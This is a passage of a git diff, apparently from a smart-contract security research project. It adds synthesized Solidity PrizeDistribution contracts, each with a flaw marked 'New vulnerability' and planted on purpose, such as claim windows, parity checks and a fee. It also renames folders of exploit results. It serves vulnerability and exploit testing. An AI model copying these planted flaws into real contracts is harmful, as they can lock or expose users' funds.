getTimestamp() public view returns (uint256) { + return block.timestamp; + } +} diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-2.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-2.sol new file mode 100644 index 00000000..0d732a32 --- /dev/null +++ b/contracts/src/synthesized-full-dcr/PrizeDistribution-2.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.7.6; + +contract PrizeDistribution { + address public organizer; + address public beneficiary; + uint256 public unlockTime; + uint256 public prizeAmount; + uint256 constant BONUS_THRESHOLD = 10 wei; + + constructor(address _beneficiary) payable { + organizer = msg.sender; + beneficiary = _beneficiary; + unlockTime = block.timestamp + 10 seconds; + prizeAmount = msg.value; + } + + function extendLockTime() public payable { + require( + msg.sender == organizer, + "Only the organizer can extend the lock time." + ); + if (msg.value >= BONUS_THRESHOLD) { + unlockTime += (1 minutes * (msg.value / BONUS_THRESHOLD)); + } + prizeAmount += msg.value; + } + + function claimPrize() public { + require( + msg.sender == beneficiary, + "Only the beneficiary can claim the prize." + ); + require(block.timestamp >= unlockTime, "Prize is still locked."); + require( + prizeAmount <= address(this).balance / 2, + "Prize amount too high." + ); // New vulnerability: Cap on prize amount + payable(beneficiary).transfer(prizeAmount); + prizeAmount = 0; + } + + function getTimestamp() public view returns (uint256) { + return block.timestamp; + } +} diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-20.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-20.sol new file mode 100644 index 00000000..e69de29b diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-21.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-21.sol new file mode 100644 index 00000000..e69de29b diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-22.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-22.sol new file mode 100644 index 00000000..e69de29b diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-23.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-23.sol new file mode 100644 index 00000000..e69de29b diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-24.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-24.sol new file mode 100644 index 00000000..e69de29b diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-25.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-25.sol new file mode 100644 index 00000000..e69de29b diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-3.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-3.sol new file mode 100644 index 00000000..333afa80 --- /dev/null +++ b/contracts/src/synthesized-full-dcr/PrizeDistribution-3.sol @@ -0,0 +1,42 @@ +pragma solidity ^0.7.6; + +contract PrizeDistribution { + address public organizer; + address public beneficiary; + uint256 public unlockTime; + uint256 public prizeAmount; + uint256 constant BONUS_THRESHOLD = 10 wei; + + constructor(address _beneficiary) payable { + organizer = msg.sender; + beneficiary = _beneficiary; + unlockTime = block.timestamp + 10 seconds; + prizeAmount = msg.value; + } + + function extendLockTime() public payable { + require( + msg.sender == organizer, + "Only the organizer can extend the lock time." + ); + if (msg.value >= BONUS_THRESHOLD) { + unlockTime += (1 minutes * (msg.value / BONUS_THRESHOLD)); + } + prizeAmount += msg.value; + } + + function claimPrize() public { + require( + msg.sender == beneficiary, + "Only the beneficiary can claim the prize." + ); + require(block.timestamp >= unlockTime, "Prize is still locked."); + require(unlockTime % 2 == 0, "Unlock time must be even."); // New vulnerability: unlockTime must be even + payable(beneficiary).transfer(prizeAmount); + prizeAmount = 0; + } + + function getTimestamp() public view returns (uint256) { + return block.timestamp; + } +} diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-4.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-4.sol new file mode 100644 index 00000000..7e2fe678 --- /dev/null +++ b/contracts/src/synthesized-full-dcr/PrizeDistribution-4.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.7.6; + +contract PrizeDistribution { + address public organizer; + address public beneficiary; + uint256 public unlockTime; + uint256 public prizeAmount; + uint256 constant BONUS_THRESHOLD = 10 wei; + + constructor(address _beneficiary) payable { + organizer = msg.sender; + beneficiary = _beneficiary; + unlockTime = block.timestamp + 10 seconds; + prizeAmount = msg.value; + } + + function extendLockTime() public payable { + require( + msg.sender == organizer, + "Only the organizer can extend the lock time." + ); + if (msg.value >= BONUS_THRESHOLD) { + unlockTime += (1 minutes * (msg.value / BONUS_THRESHOLD)); + } + prizeAmount += msg.value; + } + + function claimPrize() public { + require( + msg.sender == beneficiary, + "Only the beneficiary can claim the prize." + ); + require(block.timestamp >= unlockTime, "Prize is still locked."); + require( + block.timestamp <= unlockTime + 1 hours, + "Claim period has expired." + ); // New vulnerability: Expiry window + payable(beneficiary).transfer(prizeAmount); + prizeAmount = 0; + } + + function getTimestamp() public view returns (uint256) { + return block.timestamp; + } +} diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-5.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-5.sol new file mode 100644 index 00000000..4769c0d5 --- /dev/null +++ b/contracts/src/synthesized-full-dcr/PrizeDistribution-5.sol @@ -0,0 +1,42 @@ +pragma solidity ^0.7.6; + +contract PrizeDistribution { + address public organizer; + address public beneficiary; + uint256 public unlockTime; + uint256 public prizeAmount; + uint256 constant BONUS_THRESHOLD = 10 wei; + + constructor(address _beneficiary) payable { + organizer = msg.sender; + beneficiary = _beneficiary; + unlockTime = block.timestamp + 10 seconds; + prizeAmount = msg.value; + } + + function extendLockTime() public payable { + require( + msg.sender == organizer, + "Only the organizer can extend the lock time." + ); + if (msg.value >= BONUS_THRESHOLD) { + unlockTime += (1 minutes * (msg.value / BONUS_THRESHOLD)); + } + prizeAmount += msg.value; + } + + function claimPrize() public { + require( + msg.sender == beneficiary, + "Only the beneficiary can claim the prize." + ); + require(block.timestamp >= unlockTime, "Prize is still locked."); + require(prizeAmount % 5 == 0, "Prize amount must be a multiple of 5."); // New vulnerability: Prize amount must be a multiple of 5 + payable(beneficiary).transfer(prizeAmount); + prizeAmount = 0; + } + + function getTimestamp() public view returns (uint256) { + return block.timestamp; + } +} diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-6.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-6.sol new file mode 100644 index 00000000..ff7201b2 --- /dev/null +++ b/contracts/src/synthesized-full-dcr/PrizeDistribution-6.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.7.6; + +contract PrizeDistribution { + address public organizer; + address public beneficiary; + uint256 public unlockTime; + uint256 public prizeAmount; + uint256 constant BONUS_THRESHOLD = 10 wei; + + constructor(address _beneficiary) payable { + organizer = msg.sender; + beneficiary = _beneficiary; + unlockTime = block.timestamp + 10 seconds; + prizeAmount = msg.value; + } + + function extendLockTime() public payable { + require( + msg.sender == organizer, + "Only the organizer can extend the lock time." + ); + if (msg.value >= BONUS_THRESHOLD) { + unlockTime += (1 minutes * (msg.value / BONUS_THRESHOLD)); + } + prizeAmount += msg.value; + } + + function claimPrize() public { + require( + msg.sender == beneficiary, + "Only the beneficiary can claim the prize." + ); + require(block.timestamp >= unlockTime, "Prize is still locked."); + require( + prizeAmount > 100 wei, + "Prize amount must be more than 100 wei." + ); // New vulnerability: Minimum prize amount + payable(beneficiary).transfer(prizeAmount); + prizeAmount = 0; + } + + function getTimestamp() public view returns (uint256) { + return block.timestamp; + } +} diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-7.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-7.sol new file mode 100644 index 00000000..c89dd8e5 --- /dev/null +++ b/contracts/src/synthesized-full-dcr/PrizeDistribution-7.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.7.6; + +contract PrizeDistribution { + address public organizer; + address public beneficiary; + uint256 public unlockTime; + uint256 public prizeAmount; + uint256 constant BONUS_THRESHOLD = 10 wei; + + constructor(address _beneficiary) payable { + organizer = msg.sender; + beneficiary = _beneficiary; + unlockTime = block.timestamp + 10 seconds; + prizeAmount = msg.value; + } + + function extendLockTime() public payable { + require( + msg.sender == organizer, + "Only the organizer can extend the lock time." + ); + if (msg.value >= BONUS_THRESHOLD) { + unlockTime += (1 minutes * (msg.value / BONUS_THRESHOLD)); + } + prizeAmount += msg.value; + } + + function claimPrize() public { + require( + msg.sender == beneficiary, + "Only the beneficiary can claim the prize." + ); + require(block.timestamp >= unlockTime, "Prize is still locked."); + require( + prizeAmount <= address(this).balance, + "Insufficient contract balance." + ); // New vulnerability: Contract balance check + payable(beneficiary).transfer(prizeAmount); + prizeAmount = 0; + } + + function getTimestamp() public view returns (uint256) { + return block.timestamp; + } +} diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-8.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-8.sol new file mode 100644 index 00000000..5039012f --- /dev/null +++ b/contracts/src/synthesized-full-dcr/PrizeDistribution-8.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.7.6; + +contract PrizeDistribution { + address public organizer; + address public beneficiary; + uint256 public unlockTime; + uint256 public prizeAmount; + uint256 constant BONUS_THRESHOLD = 10 wei; + + constructor(address _beneficiary) payable { + organizer = msg.sender; + beneficiary = _beneficiary; + unlockTime = block.timestamp + 10 seconds; + prizeAmount = msg.value; + } + + function extendLockTime() public payable { + require( + msg.sender == organizer, + "Only the organizer can extend the lock time." + ); + if (msg.value >= BONUS_THRESHOLD) { + unlockTime += (1 minutes * (msg.value / BONUS_THRESHOLD)); + } + prizeAmount += msg.value; + } + + function claimPrize() public { + require( + msg.sender == beneficiary, + "Only the beneficiary can claim the prize." + ); + require(block.timestamp >= unlockTime, "Prize is still locked."); + require( + unlockTime < block.timestamp + 5 minutes, + "Lock time is too far in the future." + ); // New vulnerability: unlockTime check + payable(beneficiary).transfer(prizeAmount); + prizeAmount = 0; + } + + function getTimestamp() public view returns (uint256) { + return block.timestamp; + } +} diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-9.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-9.sol new file mode 100644 index 00000000..635414c9 --- /dev/null +++ b/contracts/src/synthesized-full-dcr/PrizeDistribution-9.sol @@ -0,0 +1,49 @@ +pragma solidity ^0.7.6; + +contract PrizeDistribution { + address public organizer; + address public beneficiary; + uint256 public unlockTime; + uint256 public prizeAmount; + uint256 constant BONUS_THRESHOLD = 10 wei; + + constructor(address _beneficiary) payable { + organizer = msg.sender; + beneficiary = _beneficiary; + unlockTime = block.timestamp + 10 seconds; + prizeAmount = msg.value; + } + + function extendLockTime() public payable { + require( + msg.sender == organizer, + "Only the organizer can extend the lock time." + ); + if (msg.value >= BONUS_THRESHOLD) { + unlockTime += (1 minutes * (msg.value / BONUS_THRESHOLD)); + } + prizeAmount += msg.value; + } + + function claimPrize() public { + require( + msg.sender == beneficiary, + "Only the beneficiary can claim the prize." + ); + require(block.timestamp >= unlockTime, "Prize is still locked."); + require( + block.timestamp <= unlockTime + 5 minutes, + "Claim period has expired." + ); // New vulnerability: Claim period check + require( + msg.value == 1 wei, + "Must send exactly 1 wei to claim the prize." + ); // New vulnerability: Claim fee + payable(beneficiary).transfer(prizeAmount); + prizeAmount = 0; + } + + function getTimestamp() public view returns (uint256) { + return block.timestamp; + } +} diff --git a/results-prompt-2-backup/Governance-1.md b/results-exploit-diversification/Governance-1.md similarity index 100% rename from results-prompt-2-backup/Governance-1.md rename to results-exploit-diversification/Governance-1.md diff --git a/results-prompt-2-backup/PrizeDistribution-1.md b/results-exploit-diversification/PrizeDistribution-1.md similarity index 100% rename from results-prompt-2-backup/PrizeDistribution-1.md rename to results-exploit-diversification/PrizeDistribution-1.md diff --git a/results-prompt-2-backup/PrizeDistribution-16.md b/results-exploit-diversification/PrizeDistribution-16.md similarity index 100% rename from results-prompt-2-backup/PrizeDistribution-16.md rename to results-exploit-diversification/PrizeDistribution-16.md diff --git a/results-prompt-2-backup/PrizeDistribution-17.md b/results-exploit-diversification/PrizeDistribution-17.md similarity index 100% rename from results-prompt-2-backup/PrizeDistribution-17.md rename to results-exploit-diversification/PrizeDistribution-17.md diff --git a/results-prompt-2-backup/PrizeDistribution-2.md b/results-exploit-diversification/PrizeDistribution-2.md similarity index 100% rename from results-prompt-2-backup/PrizeDistribution-2.md rename to results-exploit-diversification/PrizeDistribution-2.md diff --git a/results-prompt-2-backup/PrizeDistribution-21.md b/results-exploit-diversification/PrizeDistribution-21.md similarity index 100% rename from results-prompt-2-backup/PrizeDistribution-21.md rename to results-exploit-diversification/PrizeDistribution-21.md diff --git a/results-prompt-2-backup/PrizeDistribution-22.md b/results-exploit-diversification/PrizeDistribution-22.md similarity index 100% rename from results-prompt-2-backup/PrizeDistribution-22.md rename to results-exploit-diversification/PrizeDistribution-22.md diff --git a/results-prompt-2-backup/PrizeDistribution-23.md b/results-exploit-diversification/PrizeDistribution-23.md similarity index 100% rename from results-prompt-2-backup/PrizeDistribution-23.md rename to results-exploit-diversification/PrizeDistribution-23.md diff --git a/results-prompt-2-backup/PrizeDistribution-24.md b/results-exploit-diversification/PrizeDistribution-24.md similarity index 100% rename from results-prompt-2-backup/PrizeDistribution-24.md rename to results-exploit-diversification/PrizeDistribution-24.md diff --git a/results-prompt-2-backup/PrizeDistribution-3.md b/results-exploit-diversification/PrizeDistribution-3.md similarity index 100% rename from results-prompt-2-backup/PrizeDistribution-3.md rename to results-exploit-diversification/PrizeDistribution-3.md diff --git a/results-prompt-2-backup/PrizeDistribution-8.md b/results-exploit-diversification/PrizeDistribution-8.md similarity index 100% rename from results-prompt-2-backup/PrizeDistribution-8.md rename to results-exploit-diversification/PrizeDistribution-8.md diff --git a/results-prompt-2-backup/json/failed_exploits.json b/results-exploit-diversification/json/failed_exploits.json similarity index 100% rename from results-prompt-2-backup/json/failed_exploits.json rename to results-exploit-diversification/json/failed_exploits.json diff --git a/results-prompt-2-backup/json/successful_exploits.json b/results-exploit-diversification/json/successful_exploits.json similarity index 100% rename from results-prompt-2-backup/json/successful_exploits.json rename to results-exploit-diversification/json/successful_exploits.json diff --git a/results-prompt-2-backup/json/unresolved_exploits.json b/results-exploit-diversification/json/unresolved_exploits.json similarity index 100% rename from results-prompt-2-backup/json/unresolved_exploits.json rename to results-exploit-diversification/json/unresolved_exploits.json diff --git a/results-prompt-1/AvaxRouter.md b/results-main-prompt/AvaxRouter.md similarity index 100% rename from results-prompt-1/AvaxRouter.md rename to results-main-prompt/AvaxRouter.md diff --git a/results-prompt-1/Escrow-1.md b/results-main-prompt/Escrow-1.md similarity index 100% rename from results-prompt-1/Escrow-1.md rename to results-main-prompt/Escrow-1.md diff --git a/results-prompt-1/Escrow-2.md b/results-main-prompt/Escrow-2.md similarity index 100% rename from results-prompt-1/Escrow-2.md rename to results-main-prompt/Escrow-2.md diff --git a/results-prompt-1/Escrow-3.md b/results-main-prompt/Escrow-3.md similarity index 100% rename from results-prompt-1/Escrow-3.md rename to results-main-prompt/Escrow-3.md diff --git a/results-prompt-1/Escrow-4.md b/results-main-prompt/Escrow-4.md similarity index 100% rename from results-prompt-1/Escrow-4.md rename to results-main-prompt/Escrow-4.md diff --git a/results-prompt-1/Escrow.md b/results-main-prompt/Escrow.md similarity index 100% rename from results-prompt-1/Escrow.md rename to results-main-prompt/Escrow.md diff --git a/results-prompt-1/EthRouter.md b/results-main-prompt/EthRouter.md similarity index 100% rename from results-prompt-1/EthRouter.md rename to results-main-prompt/EthRouter.md diff --git a/results-prompt-1/Governance-1.md b/results-main-prompt/Governance-1.md similarity index 100% rename from results-prompt-1/Governance-1.md rename to results-main-prompt/Governance-1.md diff --git a/results-prompt-1/Governance-15.md b/results-main-prompt/Governance-15.md similarity index 100% rename from results-prompt-1/Governance-15.md rename to results-main-prompt/Governance-15.md diff --git a/results-prompt-1/Governance-17.md b/results-main-prompt/Governance-17.md similarity index 100% rename from results-prompt-1/Governance-17.md rename to results-main-prompt/Governance-17.md diff --git a/results-prompt-1/Governance-18.md b/results-main-prompt/Governance-18.md similarity index 100% rename from results-prompt-1/Governance-18.md rename to results-main-prompt/Governance-18.md diff --git a/results-prompt-1/Governance-19.md b/results-main-prompt/Governance-19.md similarity index 100% rename from results-prompt-1/Governance-19.md rename to results-main-prompt/Governance-19.md diff --git a/results-prompt-1/Governance-2.md b/results-main-prompt/Governance-2.md similarity index 100% rename from results-prompt-1/Governance-2.md rename to results-main-prompt/Governance-2.md diff --git a/results-prompt-1/Governance-22.md b/results-main-prompt/Governance-22.md similarity index 100% rename from results-prompt-1/Governance-22.md rename to results-main-prompt/Governance-22.md diff --git a/results-prompt-1/Governance-25.md b/results-main-prompt/Governance-25.md similarity index 100% rename from results-prompt-1/Governance-25.md rename to results-main-prompt/Governance-25.md diff --git a/results-prompt-1/Governance-3.md b/results-main-prompt/Governance-3.md similarity index 100% rename from results-prompt-1/Governance-3.md rename to results-main-prompt/Governance-3.md diff --git a/results-prompt-1/Governance-4.md b/results-main-prompt/Governance-4.md similarity index 100% rename from results-prompt-1/Governance-4.md rename to results-main-prompt/Governance-4.md diff --git a/results-prompt-1/Governance-5.md b/results-main-prompt/Governance-5.md similarity index 100% rename from results-prompt-1/Governance-5.md rename to results-main-prompt/Governance-5.md diff --git a/results-prompt-1/Governance-6.md b/results-main-prompt/Governance-6.md similarity index 100% rename from results-prompt-1/Governance-6.md rename to results-main-prompt/Governance-6.md diff --git a/results-prompt-1/Governance-7.md b/results-main-prompt/Governance-7.md similarity index 100% rename from results-prompt-1/Governance-7.md rename to results-main-prompt/Governance-7.md diff --git a/results-prompt-1/Governance-8.md b/results-main-prompt/Governance-8.md similarity index 100% rename from results-prompt-1/Governance-8.md rename to results-main-prompt/Governance-8.md diff --git a/results-prompt-1/Governance-9.md b/results-main-prompt/Governance-9.md similarity index 100% rename from results-prompt-1/Governance-9.md rename to results-main-prompt/Governance-9.md diff --git a/results-prompt-1/Governance.md b/results-main-prompt/Governance.md similarity index 100% rename from results-prompt-1/Governance.md rename to results-main-prompt/Governance.md diff --git a/results-prompt-1/Governance.pdf b/results-main-prompt/Governance.pdf similarity index 100% rename from results-prompt-1/Governance.pdf rename to results-main-prompt/Governance.pdf diff --git a/results-prompt-1/MultiStageAuction-1.md b/results-main-prompt/MultiStageAuction-1.md similarity index 100% rename from results-prompt-1/MultiStageAuction-1.md rename to results-main-prompt/MultiStageAuction-1.md diff --git a/results-prompt-1/MultiStageAuction-10.md b/results-main-prompt/MultiStageAuction-10.md similarity index 100% rename from results-prompt-1/MultiStageAuction-10.md rename to results-main-prompt/MultiStageAuction-10.md diff --git a/results-prompt-1/MultiStageAuction-11.md b/results-main-prompt/MultiStageAuction-11.md similarity index 100% rename from results-prompt-1/MultiStageAuction-11.md rename to results-main-prompt/MultiStageAuction-11.md diff --git a/results-prompt-1/MultiStageAuction-13.md b/results-main-prompt/MultiStageAuction-13.md similarity index 100% rename from results-prompt-1/MultiStageAuction-13.md rename to results-main-prompt/MultiStageAuction-13.md diff --git a/results-prompt-1/MultiStageAuction-16.md b/results-main-prompt/MultiStageAuction-16.md similarity index 100% rename from results-prompt-1/MultiStageAuction-16.md rename to results-main-prompt/MultiStageAuction-16.md diff --git a/results-prompt-1/MultiStageAuction-17.md b/results-main-prompt/MultiStageAuction-17.md similarity index 100% rename from results-prompt-1/MultiStageAuction-17.md rename to results-main-prompt/MultiStageAuction-17.md diff --git a/results-prompt-1/MultiStageAuction-18.md b/results-main-prompt/MultiStageAuction-18.md similarity index 100% rename from results-prompt-1/MultiStageAuction-18.md rename to results-main-prompt/MultiStageAuction-18.md diff --git a/results-prompt-1/MultiStageAuction-19.md b/results-main-prompt/MultiStageAuction-19.md similarity index 100% rename from results-prompt-1/MultiStageAuction-19.md rename to results-main-prompt/MultiStageAuction-19.md diff --git a/results-prompt-1/MultiStageAuction-2.md b/results-main-prompt/MultiStageAuction-2.md similarity index 100% rename from results-prompt-1/MultiStageAuction-2.md rename to results-main-prompt/MultiStageAuction-2.md diff --git a/results-prompt-1/MultiStageAuction-20.md b/results-main-prompt/MultiStageAuction-20.md similarity index 100% rename from results-prompt-1/MultiStageAuction-20.md rename to results-main-prompt/MultiStageAuction-20.md diff --git a/results-prompt-1/MultiStageAuction-21.md b/results-main-prompt/MultiStageAuction-21.md similarity index 100% rename from results-prompt-1/MultiStageAuction-21.md rename to results-main-prompt/MultiStageAuction-21.md diff --git a/results-prompt-1/MultiStageAuction-23.md b/results-main-prompt/MultiStageAuction-23.md similarity index 100% rename from results-prompt-1/MultiStageAuction-23.md rename to results-main-prompt/MultiStageAuction-23.md diff --git a/results-prompt-1/MultiStageAuction-24.md b/results-main-prompt/MultiStageAuction-24.md similarity index 100% rename from results-prompt-1/MultiStageAuction-24.md rename to results-main-prompt/MultiStageAuction-24.md diff --git a/results-prompt-1/MultiStageAuction-25.md b/results-main-prompt/MultiStageAuction-25.md similarity index 100% rename from results-prompt-1/MultiStageAuction-25.md rename to results-main-prompt/MultiStageAuction-25.md diff --git a/results-prompt-1/MultiStageAuction-3.md b/results-main-prompt/MultiStageAuction-3.md similarity index 100% rename from results-prompt-1/MultiStageAuction-3.md rename to results-main-prompt/MultiStageAuction-3.md diff --git a/results-prompt-1/MultiStageAuction-4.md b/results-main-prompt/MultiStageAuction-4.md similarity index 100% rename from results-prompt-1/MultiStageAuction-4.md rename to results-main-prompt/MultiStageAuction-4.md diff --git a/results-prompt-1/MultiStageAuction-5.md b/results-main-prompt/MultiStageAuction-5.md similarity index 100% rename from results-prompt-1/MultiStageAuction-5.md rename to results-main-prompt/MultiStageAuction-5.md diff --git a/results-prompt-1/MultiStageAuction-6.md b/results-main-prompt/MultiStageAuction-6.md similarity index 100% rename from results-prompt-1/MultiStageAuction-6.md rename to results-main-prompt/MultiStageAuction-6.md diff --git a/results-prompt-1/MultiStageAuction-7.md b/results-main-prompt/MultiStageAuction-7.md similarity index 100% rename from results-prompt-1/MultiStageAuction-7.md rename to results-main-prompt/MultiStageAuction-7.md diff --git a/results-prompt-1/MultiStageAuction-8.md b/results-main-prompt/MultiStageAuction-8.md similarity index 100% rename from results-prompt-1/MultiStageAuction-8.md rename to results-main-prompt/MultiStageAuction-8.md diff --git a/results-prompt-1/MultiStageAuction-9.md b/results-main-prompt/MultiStageAuction-9.md similarity index 100% rename from results-prompt-1/MultiStageAuction-9.md rename to results-main-prompt/MultiStageAuction-9.md diff --git a/results-prompt-1/MultiStageAuction.md b/results-main-prompt/MultiStageAuction.md similarity index 100% rename from results-prompt-1/MultiStageAuction.md rename to results-main-prompt/MultiStageAuction.md diff --git a/results-prompt-1/PrizeDistribution-10.md b/results-main-prompt/PrizeDistribution-10.md similarity index 100% rename from results-prompt-1/PrizeDistribution-10.md rename to results-main-prompt/PrizeDistribution-10.md diff --git a/results-prompt-1/PrizeDistribution-11.md b/results-main-prompt/PrizeDistribution-11.md similarity index 100% rename from results-prompt-1/PrizeDistribution-11.md rename to results-main-prompt/PrizeDistribution-11.md diff --git a/results-prompt-1/PrizeDistribution-14.md b/results-main-prompt/PrizeDistribution-14.md similarity index 100% rename from results-prompt-1/PrizeDistribution-14.md rename to results-main-prompt/PrizeDistribution-14.md diff --git a/results-prompt-1/PrizeDistribution-2.md b/results-main-prompt/PrizeDistribution-2.md similarity index 100% rename from results-prompt-1/PrizeDistribution-2.md rename to results-main-prompt/PrizeDistribution-2.md diff --git a/results-prompt-1/PrizeDistribution-20.md b/results-main-prompt/PrizeDistribution-20.md similarity index 100% rename from results-prompt-1/PrizeDistribution-20.md rename to results-main-prompt/PrizeDistribution-20.md diff --git a/results-prompt-1/PrizeDistribution-23.md b/results-main-prompt/PrizeDistribution-23.md similarity index 100% rename from results-prompt-1/PrizeDistribution-23.md rename to results-main-prompt/PrizeDistribution-23.md diff --git a/results-prompt-1/PrizeDistribution-24.md b/results-main-prompt/PrizeDistribution-24.md similarity index 100% rename from results-prompt-1/PrizeDistribution-24.md rename to results-main-prompt/PrizeDistribution-24.md diff --git a/results-prompt-1/PrizeDistribution-25.md b/results-main-prompt/PrizeDistribution-25.md similarity index 100% rename from results-prompt-1/PrizeDistribution-25.md rename to results-main-prompt/PrizeDistribution-25.md diff --git a/results-prompt-1/PrizeDistribution-3.md b/results-main-prompt/PrizeDistribution-3.md similarity index 100% rename from results-prompt-1/PrizeDistribution-3.md rename to results-main-prompt/PrizeDistribution-3.md diff --git a/results-prompt-1/PrizeDistribution-6.md b/results-main-prompt/PrizeDistribution-6.md similarity index 100% rename from results-prompt-1/PrizeDistribution-6.md rename to results-main-prompt/PrizeDistribution-6.md diff --git a/results-prompt-1/PrizeDistribution-8.md b/results-main-prompt/PrizeDistribution-8.md similarity index 100% rename from results-prompt-1/PrizeDistribution-8.md rename to results-main-prompt/PrizeDistribution-8.md diff --git a/results-prompt-1/PrizeDistribution-9.md b/results-main-prompt/PrizeDistribution-9.md similarity index 100% rename from results-prompt-1/PrizeDistribution-9.md rename to results-main-prompt/PrizeDistribution-9.md diff --git a/results-prompt-1/PrizeDistribution.md b/results-main-prompt/PrizeDistribution.md similarity index 100% rename from results-prompt-1/PrizeDistribution.md rename to results-main-prompt/PrizeDistribution.md diff --git a/results-prompt-1/ProductOrder-1.md b/results-main-prompt/ProductOrder-1.md similarity index 100% rename from results-prompt-1/ProductOrder-1.md rename to results-main-prompt/ProductOrder-1.md diff --git a/results-prompt-1/ProductOrder-11.md b/results-main-prompt/ProductOrder-11.md similarity index 100% rename from results-prompt-1/ProductOrder-11.md rename to results-main-prompt/ProductOrder-11.md diff --git a/results-prompt-1/ProductOrder-13.md b/results-main-prompt/ProductOrder-13.md similarity index 100% rename from results-prompt-1/ProductOrder-13.md rename to results-main-prompt/ProductOrder-13.md diff --git a/results-prompt-1/ProductOrder-14.md b/results-main-prompt/ProductOrder-14.md similarity index 100% rename from results-prompt-1/ProductOrder-14.md rename to results-main-prompt/ProductOrder-14.md diff --git a/results-prompt-1/ProductOrder-15.md b/results-main-prompt/ProductOrder-15.md similarity index 100% rename from results-prompt-1/ProductOrder-15.md rename to results-main-prompt/ProductOrder-15.md diff --git a/results-prompt-1/ProductOrder-16.md b/results-main-prompt/ProductOrder-16.md similarity index 100% rename from results-prompt-1/ProductOrder-16.md rename to results-main-prompt/ProductOrder-16.md diff --git a/results-prompt-1/ProductOrder-17.md b/results-main-prompt/ProductOrder-17.md similarity index 100% rename from results-prompt-1/ProductOrder-17.md rename to results-main-prompt/ProductOrder-17.md diff --git a/results-prompt-1/ProductOrder-19.md b/results-main-prompt/ProductOrder-19.md similarity index 100% rename from results-prompt-1/ProductOrder-19.md rename to results-main-prompt/ProductOrder-19.md diff --git a/results-prompt-1/ProductOrder-2.md b/results-main-prompt/ProductOrder-2.md similarity index 100% rename from results-prompt-1/ProductOrder-2.md rename to results-main-prompt/ProductOrder-2.md diff --git a/results-prompt-1/ProductOrder-20.md b/results-main-prompt/ProductOrder-20.md similarity index 100% rename from results-prompt-1/ProductOrder-20.md rename to results-main-prompt/ProductOrder-20.md diff --git a/results-prompt-1/ProductOrder-22.md b/results-main-prompt/ProductOrder-22.md similarity index 100% rename from results-prompt-1/ProductOrder-22.md rename to results-main-prompt/ProductOrder-22.md diff --git a/results-prompt-1/ProductOrder-24.md b/results-main-prompt/ProductOrder-24.md similarity index 100% rename from results-prompt-1/ProductOrder-24.md rename to results-main-prompt/ProductOrder-24.md diff --git a/results-prompt-1/ProductOrder-5.md b/results-main-prompt/ProductOrder-5.md similarity index 100% rename from results-prompt-1/ProductOrder-5.md rename to results-main-prompt/ProductOrder-5.md diff --git a/results-prompt-1/ProductOrder-6.md b/results-main-prompt/ProductOrder-6.md similarity index 100% rename from results-prompt-1/ProductOrder-6.md rename to results-main-prompt/ProductOrder-6.md diff --git a/results-prompt-1/ProductOrder-8.md b/results-main-prompt/ProductOrder-8.md similarity index 100% rename from results-prompt-1/ProductOrder-8.md rename to results-main-prompt/ProductOrder-8.md diff --git a/results-prompt-1/ProductOrder-9.md b/results-main-prompt/ProductOrder-9.md similarity index 100% rename from results-prompt-1/ProductOrder-9.md rename to results-main-prompt/ProductOrder-9.md diff --git a/results-prompt-1/ProductOrder.md b/results-main-prompt/ProductOrder.md similarity index 100% rename from results-prompt-1/ProductOrder.md rename to results-main-prompt/ProductOrder.md diff --git a/results-prompt-1/all-exploit-results/Escrow-1.md b/results-main-prompt/all-exploit-results/Escrow-1.md similarity index 100% rename from results-prompt-1/all-exploit-results/Escrow-1.md rename to results-main-prompt/all-exploit-results/Escrow-1.md diff --git a/results-prompt-1/all-exploit-results/Escrow-2.md b/results-main-prompt/all-exploit-results/Escrow-2.md similarity index 100% rename from results-prompt-1/all-exploit-results/Escrow-2.md rename to results-main-prompt/all-exploit-results/Escrow-2.md diff --git a/results-prompt-1/all-exploit-results/Escrow-3.md b/results-main-prompt/all-exploit-results/Escrow-3.md similarity index 100% rename from results-prompt-1/all-exploit-results/Escrow-3.md rename to results-main-prompt/all-exploit-results/Escrow-3.md diff --git a/results-prompt-1/all-exploit-results/Escrow-4.md b/results-main-prompt/all-exploit-results/Escrow-4.md similarity index 100% rename from results-prompt-1/all-exploit-results/Escrow-4.md rename to results-main-prompt/all-exploit-results/Escrow-4.md diff --git a/results-prompt-1/all-exploit-results/Governance-1.md b/results-main-prompt/all-exploit-results/Governance-1.md similarity index 100% rename from results-prompt-1/all-exploit-results/Governance-1.md rename to results-main-prompt/all-exploit-results/Governance-1.md diff --git a/results-prompt-1/all-exploit-results/Governance-15.md b/results-main-prompt/all-exploit-results/Governance-15.md similarity index 100% rename from results-prompt-1/all-exploit-results/Governance-15.md rename to results-main-prompt/all-exploit-results/Governance-15.md diff --git a/results-prompt-1/all-exploit-results/Governance-17.md b/results-main-prompt/all-exploit-results/Governance-17.md similarity index 100% rename from 